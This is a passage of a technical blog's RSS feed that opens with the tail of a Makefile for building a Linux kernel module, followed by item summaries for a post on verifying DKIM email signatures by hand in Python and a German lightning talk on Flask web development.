style=&#34;color:#f00&#34;&gt;)&lt;/span&gt;/build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#eedd82&#34;&gt;PWD&lt;/span&gt; := &lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;shell pwd&lt;span style=&#34;color:#f00&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff0&#34;&gt;default&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;MAKE&lt;span style=&#34;color:#f00&#34;&gt;)&lt;/span&gt; -C &lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;KDIR&lt;span style=&#34;color:#f00&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#eedd82&#34;&gt;SUBDIRS&lt;/span&gt;=&lt;span style=&#34;color:#f00&#34;&gt;$(&lt;/span&gt;PWD&lt;span style=&#34;color:#f00&#34;&gt;)&lt;/span&gt; modules&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff0&#34;&gt;clean&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -rf *.ko&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -rf *.mod.c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -rf *mod.o&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rm -rf *.o&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Build and load, and unload the module:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Verifying a DKIM signature by hand</title>
      <link>https://debugging.works/blog/verify-dkim-signature/</link>
      <pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/verify-dkim-signature/</guid>
      <description>&lt;p&gt;&lt;strong&gt;tldr:&lt;/strong&gt; We take an email and verify the DKIM-Signature step by step using python. We also take care about the signing itself (RSA). The RSA part takes more place than originally planed. The whole code can be found on &lt;a href=&#34;https://github.com/kmille/dkim-verify&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I recently had an issue with my DKIM signatures. I just got a &amp;lsquo;Signature wrong&amp;rsquo; message and couldn&amp;rsquo;t find out what the problem was. So I decided to take a look into.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lightning Talk: web development in Python (German)</title>
      <link>https://debugging.works/blog/jugend-hackt-lightning-talk-flask/</link>
      <pubDate>Sat, 20 Oct 2018 00:00:00 +0000</pubDate>
      <guid>https://debugging.works/blog/jugend-hackt-lightning-talk-flask/</guid>
      <description>&lt;p&gt;I gave a short introduction about web development in Python (flask) at the &lt;a href=&#34;https://jugendhackt.org/&#34;&gt;Jugend hackt&lt;/a&gt; event in Berlin. It&amp;rsquo;s also available on &lt;a href=&#34;https://media.ccc.de/v/jh-berlin-2018-4-lightning_talk_webprogrammierung_mit_python_flask&#34;&gt;media.ccc.de&lt;/a&gt;. The talk was held in German.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/C7_jHYTKUbc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;</description>
    </item>
  </channel>
</rss>
